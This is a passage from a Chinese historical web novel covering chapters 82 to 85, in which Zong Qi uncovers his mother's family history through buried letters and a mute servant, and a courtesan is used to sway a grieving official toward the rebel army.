“尘埃已定，旧人已去。我抛却前尘，早已出家为僧，并不为来寻仇，不过想弄清从前究竟发生了何事。我家那桩冤枉官司，究竟因何而起。” “你奉谁为主？”他写下几字【宗、伯、珣】，推过去，“宗翁？” 哑仆拈着纸角，不抬头，也不点头。 宗契便又写了一张，“萍儿之母，宗氏？” 对方仍不动，只将头垂得更低。 “我娘姓陈，但如今想来，或是伪姓。她提起过夜明珠，乃家传的一对，想必也是宗家女。”但他依旧写下了【陈氏】二字，再递去，“是她么？” 哑仆一张一张将几张纸细细地叠好，枯瘦的指尖有些颤抖。 宗契想了想，目光微凝，再写下两字，“袁淮？” 袁淮，江宁府知府，宗氏之夫，袁辘之父。 哑仆却骤然抬起脸，脸孔紧绷，浑浊的目中透出哀告之色，竟湿润有了泪意。 羞、愧、悔。 “那么是袁淮了。”宗契却铁石一般，不为所动，将那两个字推去，“可你姓宗。这算什么，背主？” 夏昼日长，满园清荫。应怜等候闲暇，便带着萍儿四处游逛。 一处园角生着苍然的一株老皂荚，树干极为粗拙，也不知在此盘踞了多少年。与之相比，其余零星的皂荚堪当它的子孙辈。 萍儿绕着树欢快蹦跳，一会儿，忽叫起来：“姨姨，你来看！” 应怜绕过树去。 梳着三丫髻的萍儿立得直直的，挨着树干，用手比量头顶。恰有一列刀刻的横印在树干上，断续划过树皮。她循印细瞧，发现那边上粗粗刻着小字：庚辰。 再往上瞧，每一寸半寸之上，却都有印记，旁边小字零星：庚巳、庚午、庚未、庚申、庚酉。 “这是什么？”萍儿问。 应怜在心底算了算，“这是年月。许是从前有个小娃娃，每年长高，都在树干上刻一道。” 庚辰之下也有年月，最早才刚过膝，刻着“庚子”。 如今是癸寅年，若按一纪来算，总也有三十八年了。 那一年一年长高的小娃娃，不知如今身在何处。 她心中一动，望着几乎参天的古树，冥冥之中忽有所感，一个念头飞至： 一定是它。 又瞬然生回气力，取了铲来，向树下泥土一铲一铲掘去。 萍儿好奇地蹲在坑边，睁大眼睛仔细瞧，不知多久，忽指着二尺来深的一处，叫道：“姨姨！” 应怜也铲到了硬物，忙停下来，拂去上头泥尘，小心翼翼挖出了个物事，是个绸布包裹的匣子。并不很大，三寸见方，绸布因长埋地下，已不见光泽颜色；里头那匣儿却精致，缠枝雕花鲜活繁丽，上头镶着红翠翡玉，一望便知价值不菲。 她长舒了一口气，心头却扑通扑通跳了起来，仿佛窥见了一个久不见天日的秘密。 携萍儿回屋后，应怜擦净了那没上锁的匣儿，怀着一种窥探旁人隐秘的说不出的心虚，犹豫再三，仍是打开看了去。 她总觉着，这一宗姓的人家，与宗契有或多或少的干系，说不定当真就是他外家。 匣子里清净无尘，却整齐地摞着一沓书信，不知埋了几年，保存依旧完好。她草草翻看了几封，字迹娟秀齐整，所述不过平常小事；便依着年序，捡出最早一封，看了起来。 【阿芜见信： 雁使衔来家书，使人欢喜，又涕零如雨。不期三年逝水如斯，我走时满腔愤恚，不及辞阿芜；昼夜千余，无一日不思汝念汝，乃至摧形销骨。幸我虽无德，效红拂私事，却蒙天眷怜，乃得如李将军之夫，慷慨豪壮。今我为妇，阿芜切莫讥无媒之合。往事乱矣，无从相言，个中冷暖，我心自明。我已有妊，期在明岁三月春，不知璋瓦，但共喜翘首以盼。 父亲爱我良多，然性刚硬太甚，恐为我事恼伤忧憎，惟愿阿芜为尽孝膝前，再得大人欢颜。你我书信复通，切勿与人语，父、兄皆不可令知，切记、切记！】 这似是一封久别重逢的信。 她将那“阿芜”二字念了两遍，萍儿却在旁道：“我娘便是阿芜。” 应怜一顿，便想通了，“是了，这是你娘的书信。” 据写信人的口吻，似乎是她的姊妹。 萍儿便来了兴致，把一沓书信摊在桌上，一张张好奇地翻，却翻出了一副小像，十分新奇，“这是我娘吗？” 应怜细细瞧来，见画中女子纤秀灵巧，一毫一发皆细致入微，正襟危坐，含笑端庄，不由打趣道：“这却奇了，你自个儿也不晓得你娘的样貌，怎么反来问我？” “有些像……又有些不像。”萍儿嘟着嘴，横看竖看。 应怜接过小像，凝目视之半晌，心底缓缓升起一念，却无端想起了宗契曾说的话。 【她在我八岁时，把我送去佛光寺，而后便投水自尽。】 是 她么？ 她妥帖将小像搁好，转又拿了第二封信。 山长水远，书信不常通。这第二封，已是她为人母时了。 【阿芜见信： 我已产下一子，初为人母，喜之不尽，甚愿亲为哺养，又恐为仆妇乳母贻笑，真真闲恼。你可记着，他乳名合儿，取和美、团圆之意，从此汝为姨姨，日后再逢，需补添盆之礼。取正字劳心费神，日后再议。我虽为母，却愈思念阿芜，岂不知母亲产难，我长汝七岁，怜汝幼嫩，未有一日得见之，早视汝为我孩儿，自幼长成，皆在我畔；皂荚刻下年岁，记汝身长，历历往事皆在目，如何能忘。 又：随附写真一幅，自妊至今，丰腴无复，勿为窃笑。阿芜可还作一幅寄我，全我牵念。】 看过几遍，心中不知生了什么样滋味，百般交杂不能言，应怜又见那小像，画中人虽端坐淑静，却神容放松，唇边笑意更难掩，不难想见彼时岁月安稳。 萍儿犹自天真无觉。应怜叹了口气，摸了摸她的脑袋。 “我打听过，宗氏曾为官宦人家，殷实自不必说。我娘为何又要改名换姓，远遁他乡？我自小便从未见过外家亲朋，想来她与家中不睦？” 宗契缓缓将疑问道来，黯淡的天光烛光落在他眼眸，清明中平添了锐利，刺向哑仆。 哑仆颓唐，被抽了筋骨一般，点头。 “因何而起？宗翁？” 摇头。他抽出写着“袁淮”的那张纸。 宗契有几分诧异，接问：“袁淮是宗翁之婿，他与宗氏成亲时，我娘早已身在郑州。难道他们旧曾相识？” 点头。 正思量间，哑仆将几张纸摆列开来，上首为宗伯珣，下平列三人：袁淮、陈氏、宗氏。 旧主已死，他再没什么好隐瞒，如今面前的是他欠下的债，他该还了。 哑仆比划了一阵，宗契恍然明悟，眉头却紧拧起：“你是说，他们三人，皆宗翁所出？是兄妹？” 哑仆一手按在姊妹二人的纸张上，点头；又按在袁淮那张上，点头，摇头。 是是非非。 宗契猜测：“非所出，为所养……继子？” 点头。 这却使人难堪。占了兄妹的名头，却做了夫妻，必为时人所诟。恐怕袁淮曾也为宗姓，不过后来改换了名姓。 “且不论内情如何，我娘因袁淮而出走，或许他们因此结下仇隙。陷害我家的，正是袁淮？”他问。 点头。 本道宗契要再追问，却不想他一时未再开口。 静默如一潭死水，弥漫在一室之内。 宗契闭上眼，不知心中何所想，只是再睁开时，向来坚定的神色里有了些怅然动摇。 “袁淮已死。我父母尸骨已朽。”他道，“我若再追究一个死人的罪，又向何处怨怼？又为何人鸣不平？” 无人回答。 宗契的声音带了沉哑，不知是不是向他要个答案，“那你呢？你在其中又做了什么？你自认了什么罪愆？” 哑仆不能言，垂头，抖抖索索地将陈氏与宗氏两页相连，枯皱老迈的手一点点从那二人名上摩挲过，两滴泪落在纸面，洇湿了墨迹。 书信数月一封，随着孩儿长大，信中提及也越多。 【今日试蒣，合儿拈弓、剑，人皆赞效其父多矣。】 【合儿玩闹淘气，我甚异之。料想阿芜幼时，淑静乖巧，男女之差，竟如渊壑？】 【春后合儿将满五岁，虑为之开蒙，待取正字。我肚肠枯索，劳神已多。阿芜可试拟几般，为阿姊解来。】 …… 般般件件，俱是寻常家事。她一一看去，却在某处目光凝住。 【契，乃合意。阿芜巧思，将我家之姓，嵌吾儿之名，来日团聚，复又作一家人。宗契此名，甚得我心。我儿便名作宗契。】 “姨姨，你怎么了？”萍儿推推她。 应怜彷如入旁人之梦，深长久远，梦中人从未得见，却早已相识。她早该料到，并不意外，却将那小像复又拿起，瞧了又瞧，想从那柔丽的眉眼鼻唇间，瞧出几分与宗契相似的模样。 画中人依旧娴静地微笑，带着对妹妹的思念与对孩儿长成的企盼。 “无事。”她感慨良多，“只是不料想，在此初逢，却是半个故人。” 萍儿听不明白，懵懵懂懂地盯着小像。 应怜笑了笑，久久看着萍儿的脸，目光描摹半晌，“你叫我姨姨？” 萍儿点头。 “巧了，外头那大和尚，是你表哥。”想到此处，她笑里便多了几分促狭，“如此一来，他也得叫我一声姨。” 第83章 第83章此时此夜难为情 黄昏日光歇后，晚饭时，应怜才得见宗契。 不知一整个晌午，他与哑仆都谈了些什么，可曾将往事追根究底。此时一见，他不若猜想中那样神伤，却总比往日更静默。 “你可还好？”她有些放不下心。 晚霞晴光，绚烂如火，染在他不知豁然或怅然的眉宇间，又随着天光黯淡而消隐。他的神色因此而趋于平寂，点点头，“无事，弄清了一些疑惑。” 那是应怜所不曾触及的往昔。她直觉不当问，一肚子话便生生压了下来。 主仆几个一处，用了一顿粗简的晚食。饭后，应怜将那匣儿交予宗契，“虽说是要与萍儿的母亲随葬，瞧一瞧总也无妨，况且与你也相干。” 宗契目光有些动容，伴随手指从雕花嵌宝的匣面摩挲过，复又瞧向应怜，点漆墨色的双眸中一瞬有某种复杂情绪波澜，似乎想说什么，终只向她安抚地微微一笑，进了屋。 此夜，那屋中灯火挑明至中霄。 应怜的目光由窗隙间透出，越过相隔的矮墙，穿过廊前繁茂的枣树，落在遥遥窗下、通明的灯烛里。那里似乎有一团巍巍的人影，像极了中秋月里的桂树，沉默而遥远。 她躺在床上，漆黑中辗转，遥望着对面，也静静地伴了他不知多久。 翌日上午，便有信使至，是从江宁而来，一则携来宗氏夫人的骨殖；另带了单铮的话来，催二人快去快回，再晚便赶不上庆功宴了。 江宁城破，知府夫妇望火楼头自焚、宁死不降的事早已传开，一时间这位功绩平平的袁知府，乍然成了百姓传颂哭拜的对象，纷纷自发吊唁。 “因此单将军为民心计，做主风光厚葬了他二人，名为合葬……不过私下里应您的吩咐，已另捡出了夫人的骨殖。”信使挠挠头，显然对这事有些烦恼，“只是那楼烧得精光，他二人的焦骨别说分开，连辨也辨不清谁是谁。咱们只得捡了些七八分像的，权且当作是她了。” 宗氏夫人在天灵魄恐怕也不曾料到，与他生死到底勉强在了一处。 宗契接过了盛骨殖的小盒，并不大多，多数烧成了黑灰。他应了信使几句，又郑重地谢了，信使这才回去覆命，临行前千叮万嘱，教他们此处事一毕，便赶回江宁。 二人一合计，便将宗氏夫人安葬在旧园，也全了一场从何处来、往何处去之意。 “袁淮便是我娘与宗氏的继兄——宗行之。”发葬时，宗契忽道，“他本是宗翁旧友之子，年幼失 了怙恃，宗翁怜悯，又因久无所出，因此过为继子。只是宗翁去后，他又还了宗，复更了本名姓，这才是袁淮。” 应怜对此人有说不出的嫌恶，“可见上梁不正下梁歪。那袁辘是他的儿子，做下那样滔天的恶事，到头来绝了后嗣。只是可怜了宗氏夫人，我总觉着她哪里是宁死不降，恐怕是要拉他同归于尽。” 发葬便在这株百年的皂荚树下。前日掘出的土坑还未填平，宗契更挖得深了一层，将大小两只匣子一并埋入土中，才要填土，又听应怜道：“……那张小像，本也是令堂的，与其埋入地下，不如你便收藏着？” 宗契顿了一顿，摇摇头，往里填了第一铲土，洒在并排的两只匣儿上，“不了。她是我娘，却也不仅仅是我娘。那画里的她，只是她自己罢了。” 葱翠枝叶投下斑驳树影，婆娑阑珊，点点摇曳在尘泥间的雕花宝玉之上，折射出粼粼的碎光，像一场经年重逢的美梦。她们姐妹二人，似乎从未长大，仍无忧无虑地活在旧园里。一年一年，过了庚辰，还有庚巳；一轮一轮，日月昼夜，伴随她们欢声笑语，再不离分。 相较于风光合葬，填完土后的宗氏夫人的坟头，简直小得可怜。坟上并未立碑，只故人有心，酒食奉祀。应怜带着萍儿，教她端端正正地跪下，郑重磕了几个头。 萍儿问：“做什么要拜这棵树？” 她话语稚嫩，全然不知那里头埋的是什么人，只一心等着母亲远归回来。应怜心中发涩，感慨叹息，摸着她的脑袋轻声问：“萍儿想与兴伯住在这园里吗？” 萍儿立时跳了起来，把头摇得飞快，“不想！” “那随宗契师父一处呢？”她早知这回答，便又问。 萍儿还是摇头，闷声闷气地抱住了她，小小的身量，才及到她的腰，“也不要。我要和姨姨一起。” 应怜有些意外，瞧了宗契一眼。 宗契板正了面容，认真纠正，“不当唤姨姨，要唤阿姊、姐姐。” 萍儿撅起嘴，扭到了应怜身后，冲宗契做了个鬼脸。 应怜失笑，心中那点怅惘随着孩童的天真而逐渐消散，牵着萍儿，正色道：“也罢，兴伯年纪大了，让他照顾自个儿去吧。你与我有缘分，以后我便做你姐姐，可好？” 虽称呼改换了个，到底还是可亲的姨姨，萍儿很快兴高采烈地应下了。 定了这事，已然时近正午，不好贪赶路程，二人便仍在旧园中，歇宿一夜，计议明日一早，便动身回江宁。 用过午饭，便得了半日的闲暇。 书信长埋，但那故人音容笑貌，总萦绕在应怜心头，盘桓不去。 想宗契埋葬尸骨与书信时，心中不知该多感伤。她有心劝慰，却又不知如何劝起，左思右想，有了个主意，便向哑仆要来笔墨，端坐案前，比着陈氏那张小像，又临了一幅。 起初有些差池，她便再改那身形眉眼，一张张地摹。不知不觉，时辰过去，恰萍儿午睡醒了，绕在她身旁左瞧右瞧，煞有介事地指点，鼻子再高些、眼角再上翘一些、身形再圆润些…… “你都记着？”应怜惊奇地问。 萍儿道：“不就是一幅画儿，有甚不好记？” 偏她这过目不忘的本领，准之又准。应怜依着她所说，改了又改，费了数十张纸，这才得了一幅好的。 萍儿注目观瞧，拍手道：“一模一样！” 她这才搁了笔，瞧天色，估摸着将至黄昏，直起身子，揉了揉酸疼的手腕，小心翼翼地卷了小像，携萍儿转到隔壁院，去寻宗契。 他却不在，只有小乙守着，道：“晌午便出去了，这会也还没归呢！” 她心中一动，有些恍然，便将萍儿交由小乙看待，自个儿出去了。 没回屋，她径直去了新坟处。 天光尚明。远远便瞧见一袭苍灰的身影，盘坐于老皂荚树下，身形如往常修挺，不知在想些什么。 她本欲迈出脚步前去，却又在拐角处停了住，久久凝望宗契的坚实的背影。 他虽沉寂，却并不颓唐。他与阳光、清风融为一体，与旧园的时光无声对话，为自己陈旧干涸的河床引来流淌的河水，不由着它枯败下去。 不知是不是禅性如此，或他本性生来有如万壑山川，宽厚广博，于无声处更显力量。 在这样的力量面前，聒噪的安慰言语便显得肤浅起来。 她任着他独处，改变了心意，终究没再上前，凝望不知许久，转身离去。 她又去了一趟宗契那屋。 小乙正与萍儿玩猜枚，见她来了，深长脖子问：“寻着高僧了么？” 她应了一声，入屋将临摹的小像搁在他桌上，又压了一张字条，写下“蓦画粗陋，聊作宽慰”云云，便带着萍儿，辞了小乙而去。 萍儿玩得兴起，又拉她去捉迷藏，贪玩过了饭时，这才意犹未足地拖拉着去吃饭。直到掌灯时分，大小两个才回了屋中。 应怜正褪两只耳坠子，忽见萍儿在窗边案前，拾起一物，又拈着一张字条，稚气地读出声来：“多、谢——” “那是什么？”她有些诧异。 来至案边，正见一个镇着字条的小匣儿，巴掌大小，她打开来瞧，便是一怔。 素面的绸锦里，压着颗硕大的夜明珠，在尚未点灯的夜初时分，绽出莹莹的清辉。明润辉芒里，一条隐约盘踞的潜龙昂首探爪，正是先前宗契手中的那颗。 字条也是他所写，那字迹她再熟悉不过，锋芒刚硬，势破山石；并无絮语，翻来覆去，只简明两个字： 多谢。 萍儿惊赞不已，应怜却一时发怔。 想来他为谢她蓦那一张画。可此珠太过贵重，即便哑仆或出于愧歉，将珠还赠予宗契，他又怎能转手便给了自己？ 这么想着，她便有些不安稳，阖了匣儿，便到隔壁，敲开了他的门。 宗契正在屋，才掌了灯，门分时，澄芒烛火便明澈地照映出廊下。门槛里外，立着他与她两个。 他周身披镀着灯烛的光，见了她，幽深的眉目间便有了一丝柔和。凝视处，眸光却比灯火更多了几分热度。 应怜在他专注的目光下，没由来有几分心悸的颤动，也不见怎的，却无端紧张起来，“我……珠子，还你。” 她掌心里托着夜明珠的匣儿，久久却不见他接。 “哑仆已将这东西给我。”宗契的声音在灯火与夏夜的交分处，也染了些微半明半暗的低沉，“我身无长物，没什么可谢的，你收了便是。” 应怜却不肯，“那怎么行，我不过是几点笔墨，何能比你这传家的宝贝？” 说着，却不知想到哪一节，脸微微地热了起来，见他迟迟不动，怕迎上那专注的目光，自己更笨拙无措，索性拽起他的手，一把将匣子拍进他手心。 却听他吃疼地“嘶”了一声，这才想起，他掌心虎口上有伤，应怜一个哆嗦，差点将匣儿掉下去，手忙脚乱才抓了住。 “对不住对不住，我忘了……”她一手把着匣儿，一手托着他手掌，低头瞧他的伤。 虎口处伤口狭长，贯入掌心，好在结了痂，到底没绽裂，不过是她自个儿受了一吓。 应怜这才松了口气，但觉双手相触，温热相接，下意识抬头，恰恰迎上他蹙中带笑的眉眼。 那笑仿佛由他心底而出，染在眉梢眼角，又泄露在唇边。她怔忪里才头一回注意到，原来他唇的形状微长，却并不单薄，看起来很是丰朗。 却不知是否与自己的一样柔软。 清夜融融，此廊下周遭，只他们二人，再无搅扰。 鬼使神差地，她凝视着他，眸中沾染一丝从心底里生出的、自个儿也无从根究的勾缠热意。 他不知察觉到没有，手掌却极轻微地一颤，别开了目光，那张好看的唇轻动了动，却没说出话来。 应怜于是惊醒回神，心里烫成了一片，简直不敢想方才脑子里有些什么样乌七八糟的念头，脸颊滚热，低头以强硬的姿态，将匣儿塞进了他另一只手中。 一晌似有若无的风月，就此惊散，恰似彩云无踪。 只是那微末蜻蜓点水一般的震动，忽如叩门声响，惊动了她从未开启过的门扉。 有那么一瞬间，某些生来便有的本能，无师自通了。 宗契尚回不过神，僵硬紧绷的握着匣儿不动，也不知为何，翻覆回想着方才她温温软软的那一瞥，仿佛一团柔软的云，一脚陷进便挣扎不出；正愣神间，手掌一空，却是她退了半步，比画儿更清艳的眉眼微垂不垂，抽身而去，将离不离，却轻飘飘抛下一句话来，比云更捉摸不定；才出口，便带着女儿家的羞怯，消散在湿热的夏夜里： “我又不是你什么人，凭什么收这样贵重的东西。” 栖鸟喁喁，促织鸣鸣。夏夜清霄，任心思如水，粼粼散去。她人已远，而他还在罗网里，迟迟不知如何回应。 第84章 第84章鹦鹉学人语，金笼玉樊中 随着义军攻克江宁，一些瞧着微不足道的、琐碎的小事正在悄然变化。 义军仍以府署为据，又辟了内城中屋舍与各头目及家眷，大抵算不上多豪华，却严整了一番气象。 庆功的酒宴摆了三天，应单铮吩咐 ，不需多豪奢，不过军民上下同乐一阵而已。自上而下，论功行赏，除了原先旧部，又为此战中立功的新头目定了名分。 如此，从苏州归附来的王渡、携千余精兵来投的鬼面人皆有了堂上正式一把交椅。只是从上元县劫牢反狱救下的吴览却还没个准信。 单铮原想在庆功宴上，当着众人的面，大张旗鼓地请他一回，端看自己这面子他买不买，却被赵芳庭拦了下。 “他这样人，应便是应；不应，你扔了脸面在他脚底下踩也无用，反落得宾主不谐。”赵芳庭十分淡定，只道，“哥哥权且等一等，说不得过个三两日，他便自来表心迹了。” 单铮狐疑，“你不会又从中使了什么诈吧？” 赵芳庭那张脸比正堂前被撬掉的“明镜高悬”匾额更无辜，“我能使什么诈？候他一个回心转意罢了。” 单铮仍是不放心，于是这晚的宴席上，尤其密切关注吴览，生怕他又被赵芳庭算计了去；末了见他不过多饮了几杯，料也无妨，终于一颗心落肚，与人拼酒去了。 说回吴览这头。 愁肠殢酒，任谁来劝饮，都来者不拒，他又不似单铮，有千觚的酒量，宴散后，已是摇摇跌跌，也不知被谁搀扶着，扑在了厢房一床上。 薄纱帐、翠裯衾，并蒂莲合、鸳鸯成双。 他才却了麒麟，又见鸳鸯，头晕目眩，茫茫地盯着，但觉那水鸭子可笑，今年双宿双飞，明年又不知去了哪家的窠巢；呈在画儿上，外人瞧来，总之是一对。 秦氏也不来为他醒酒。 明日酒气纷纷，彩儿见了，又要掩鼻笑话了。 他寻不见妻女，心中却有一点绝望的思念，迷瞪起来，摸不出哪里不爽利，只觉摧心肝似的疼。 想秦氏不喜他喝大酒，醉来不褪衣脱靴便上榻，吴览浑浑噩噩，撑着在锦绣罗褥里起来，胡乱便要脱了鞋履，手却不听使唤，连眼前也模糊。灯火是遥遥屋外而来，三分明、七分暗，孤独地将他笼作一团。 “辛娘……”千般疲乏上心头，他不知秦氏在哪，只得昏沉地唤，“辛娘、辛娘……” 幽夜冥冥漠漠，也不知他是否仍有一丝清明，晓得黄泉碧落也无人答他，终究被死寂的夜压得喘不过气来，苦涩难言的滋味由心头散在四肢百骸，眼内滚烫一片，拿手一抹，又成了冰凉的泪。 大丈夫该顶天立地，不作妇人态。 可没人来笑话他。于是吴览只手捂着眼，在君子慎独的居室里，发出了不像样的呜咽，泪水从指缝里横斜溢了出来。 他哭什么，他自己也不清楚，只是哭得心力交瘁，仿佛半生的风雨、志气的磋磨、夫妻的诀别、后嗣的零落一晌淹成洪水，滔天决堤而出。 却又不知多久，十分浑噩间，一只素柔的帕子抚上了脸颊，带着热水里捞出来的温暖，更不及耳边温情的寥寥几字： “别哭了。” 秦氏温声地哄她，此时不像夫妻，却像姐弟，“这些日来，你受委屈了。我都晓得。” 吴览怔忪地受她擦拭，听那熟悉的语调带着乡音，那是他寒窗苦读、日夜听惯，又随他赴任南北，二十年来甘苦与共的腔调。 光火不知何时已熄了，唯眼前之人，音容似旧，不知从杳冥间何处而来，为他所感，魂魄淹留一晌，成全他们夫妻半生的恩情。 吴览抖抖索索地摸索她，从头顶抚上面颊，抚到双肩、手臂，惶恐她在梦里倏然消失不见，颤抖着搂入怀中，可怜她萧索单薄的身子，恍然想起她生彩儿时，吃尽了苦头，往后几年，一直身子不丰，后头才渐渐养回了几分。 如今她却又瘦下去了。 “你来啦……”他声儿哑得没了往常语调，连日来的愤懑、孤寂、苦痛，一时俱消减埋没，忽又愧疚起来，“你这时候才来，是恼了我吧。我、我又喝多了，我正要脱靴呢，你别恼……” 说着手脚也不利索地弯腰去够鞋履。 秦氏叹了一声，在他背后道：“傻子。” 她柔弱无骨地从后攀上了他腰间。 “你半生苦读做官，为这周朝天子犬马操劳，已无愧于心。如今是他家负你，害得咱们妻离子散，你还能坦荡地受他的官？阮籍穷途，也知恸哭而反；今日你哭罢这一场，也该为自己打算，改换一条明路了。” 秦氏自聪慧，所道所做必有主张。经年来，除纳妾之言，他几乎无有不依的。 这些日再多人劝，也抵不上她一句话。 吴览心乱如麻，以此时心绪，压根想不明了，唯剩一点疑虑，犹豫道：“你、你也来劝，难道我当真不该坚持？” 可他六岁开蒙，念的是儒家书、学的是圣贤道，何曾有过一点…… “你早已行差踏错，正是一步错、步步错。若不是那箱公用钱，你早该陪我一道入黄泉，又怎会沦为草寇？”那双手慢慢解开了他腰带，带着夏夜里一点沁凉，蛇行似的，又入他衣下来，逡巡游走。秦氏话语逐渐轻细，尾音带了一点风韵，“这么说，也是你欠我的，便当是为了我，从前辅佐天子，往后辅佐单将军。有了你，他们便不再是草寇，而是一支王师。” 吴览渐渐听得痴了。 “王师……”他咀嚼这两个字，此前从未想过；而身子逐渐被这一点沁凉点起了阵阵烈火，燃烧起来，从心尖一路烧至腹下。 秦氏的双眸明亮，如夏夜的一泓清泉，冰冷而温柔。 她轻轻一带，吴览便倒回锦褥里。她便舒展身子，莹白的一缕，坐了上来。 今日的辛娘，又比往常风情。 吴览沉醉在一场春风正酣的梦里，浓情醉意，喁喁私语，仿佛又回到初与她成婚时，情难自禁的痴狂。 酒意醺人。 中霄月夜，银河促织两繁繁。秾李胡乱裹了衣衫，将乌黑长发挽在一边，未着罗袜，只趿拉着鞋，露出白皙玲珑的脚踝，信步而出。 身上酒气杂着蔷薇花水，反更馥郁浓烈。她步至庭前，拉开院落门扉，闲闲往两旁而顾。 风月余韵难掩，浑然天成融在向那阴影处投去的一睇里。 那角落里慢慢走出来一人，瘦长的身量，也喝了几杯，却丝毫未见醉意，一双眼亮得吓人。 “成了？” 秾李一时未言语，似禁了一宵的狂风骤雨，靡丽里现出些慵懒，就这么敞着一段延颈、半片雪脯，红梅印痕点点，似笑非笑地望着他。 “赵芳庭。”良久，她终于开口，不再唤什么大官人，直呼其名，又伸出手来，“我要你的碧玉笛。” 她草草裹着一件半臂褙子，其下温香软玉，丝缕未着。赵芳庭眼尖，一眼便瞧见那雪白的小臂一截上，有个轻红的齿痕。 这吴官人瞧着文秀肃正，到底也是个男人。 赵芳庭一边暗自想着，取下腰间玉笛，爽快地交与，一边笑道：“姐姐可真是精细，咱们说好的，我又岂会诓你。里头说得如何了？” “当不起一声姐姐。”秾李得了玉笛，便紧攥在手，那一点似有若无的笑意不进眼底，眼波流转，有股子生冷冷的柔媚，“我既承了你的情，便当为你奔走。见效与否不敢说，但尽心力而已。” 赵芳庭自是道好。 他私底下劝哄利诱，兼掺了一点上不得台面的威逼，令得秾李向吴览去吹枕边风。秾李也是个明白人，应是应了，只不过事后要他一样信物，免得他出尔反尔，将她与折柳两个说弃就弃。 虽说哄她道那吴览多好多好，待枕边人必亲厚的；更兼从前是个官身，如今也一肚子文墨，将来必有大用；姿容风度也俱上乘，但这事说到底，与她从前在青玉阁时没两样。想来秾李心里头总也有一点不甘的。 但正如她所说，承了他赵芳庭的情，她就得把这不甘压了，为他奔走。 吴览已在屋中沉睡了。赵芳庭便不久待，又叮嘱了几句明日醒来云云。秾李摆摆手，示意不必多说，两下里分别，却又叫住他：“我姐姐那处，还劳你多照应。如今她身份不尴不尬，切 莫教旁人欺侮了去。” 赵芳庭满口应下，“姐姐还有什么叮嘱，一并说来。” 秾李原已无话，想了想，却又开口：“我记得你已二十七八？” “小生年才二十有六。”他纠正。 “哦，再有四年，便该三十了。”秾李关切的话轻飘飘抛出来，砸在他脑门上，“这男人啊，一上三十，便是有心也无力，可得好好保养着，多练功夫少想事——尤其是那虚头巴脑的算计人的事。” 说着，也不瞧赵芳庭干瞪眼或怎么，转身施施然而归。 屋中酒气盈盈，屋中人正酣睡。 秾李褪了遮羞的衣裳，也不管床上地上凌乱散落的衣料鞋袜，径自躺倒在吴览身旁，望着他睡中的眉眼，想了一会自家心事。 也不知明晨醒后，他是怪她还是自责。 大抵是怪她吧。她低。贱的身份在此，他不仅要怪她，还要鄙夷她，将云。雨乱。性之事一股脑推在她头上。 无妨，即便如此，他还是会收下她——在他想听听秦氏夫人的声音时。 第85章 第85章凤鸟安向此枝歇 酒后一宵。 秾李尚未归。折柳坐于妆镜前，细细地描眉打鬓。 她描画得很细致，比平日里更用心三分。琥珀在一旁盯着，不时为她递花儿朵儿，戴在髻上。 镜中人粉匀春闲，一派淡雅却富丽的颜面。琥珀由衷艳羡，“娘子真好看。” “好看么？”折柳执着眉墨正画眉，随口应声，一会儿，描完了眉，又攒了一簇馨香的茉莉在发间，笑了一回，“我自小就被人夸好看……不过也没什么大用。” 她妆成一样，琥珀便收拾一样。半晌腮粉胭脂又匀毕了，琥珀小手捏一捏胭脂丝绵，半好奇半跃跃欲试。 折柳便将她拉近前一些，拿胭脂为她眉间点了一点朱红，瞧着一个胖乎乎、红艳艳的捧匣小童。琥珀欢天喜地地笑了。 “听闻府署里要请西席，为头领们家中的孩儿授蒙课。”折柳道，“到时你也去。” 琥珀顿时笑不出来，惊恐叫道：“我不要去！先生会打手心的——” “去，一定得去！打手心算什么？”折柳风致的眉眼一瞪，板起毫无转圜的脸来，“你小小年纪，不念书想作甚？” “我要侍奉娘子！”琥珀言之凿凿。 折柳斥道：“没出息，在我身边能有个什么好，难道往后如我……” 她打住话头，自觉有些落了面子，白了琥珀一眼，心中早已为她计议定了：想去也得去；不想去，踢也得给她踢去。 琥珀不开心了，噘着嘴为她捧花儿，“厌恶念书”的心思直白写在脸上。 折柳不管，自顾自戴完了花朵，对镜窥了一窥，消了那三分恨铁不成钢的气，道：“你懂什么，我是为你好。你如今在我身边侍奉，可知我也是个朝不保夕的人。若有一日被赶出去，难道要你跟着我流落街头么？还是重拾那旧行当，一辈子被人瞧不起？好看……好看有什么用，好看的、低贱的人，只会被人变着法子凌辱。” 她心知琥珀年纪小，一番话不过三分明、七分懵懂，说出来徒勾起自己满腔的愁闷，说罢了，只叹了口气，打发她去隔壁屋瞧，“你去望望，秾李回来没？” 琥珀一溜烟去了。 回来仍报：“还没。” 没回也好，省得絮絮叨叨地问这问那，问得她怪没面子的。 折柳妆扮穿戴毕了，吩咐琥珀看家，自己却取了床上睡惯了的那只枕头，袅袅风韵地出了去。 一路上想着自己的心事：江宁不比义兴县，府署里后宅挤满了人；如今各家都被散入内城宅院了，按理说，如今后宅只合住单铮的家眷。 虽说那人孤寡一个，哪里来的家眷，可那毕竟不是她赖在此处的理由。早已有人来知会，教她早往别处安置。 可若她与秾李不在这府署里了，许多上不得台面的事，便又得缠上她们。从前林江啸的旧部，也不是没背着他做过那些丑事。 她指望单铮的屋檐能保得她们一朝一夕，不经风雨。 她折柳没什么能拿得出手的，除了这一个人、这副样貌、这副身子。 才出院门没几步，她心不在焉的，恰巧拐角里撞见了秾李，惊了一跳，念头一起，便将那枕头往身后藏。 好在秾李也吃了一吓，却不像往日清明，眉间一两缕有些恹恹，仍问了句：“大清早的，姐姐去哪儿？” “我……”折柳语塞，瞧见日色初明，心念电转，搪塞道：“我晒枕头。你呢？昨夜去哪儿了？” 秾李穿戴倒是齐整，除了神容有些疲倦，一切瞧着俱安好。 “昨夜多喝了几杯，不知哪儿躺了一夜。”秾李道。 折柳不及细思，只怕那枕头被她瞧出毛病，勾起一通唠叨来。好在今日她却轻飘飘放过了，只是点点头，往自家而去。 折柳这才松了一口气，忙也匆匆地离开了。 最近三两日，日日夜夜摆着酒宴，锣鼓丝竹、欢声喧腾，把个单铮密不透风围在里头，折柳几乎找不着合适的时机，独自去见单铮。 好在有家有口的头领们已携着家眷落住内城了，又是大清早，府署里头终于得了一毫儿冷清闲暇。她于是也得了空子，又挑拣人烟稀少的地儿走，不多时，便遥遥见了单铮的住处。 她心里思量着：侍奉单铮的从人都是从义兴县带过来的，识得她，不大会拦阻；他多日饮酒，必定神智不如往常清醒，若还在睡着，浑浑噩噩便更好了；清晨么，但凡不是个没根的，那便有火气…… 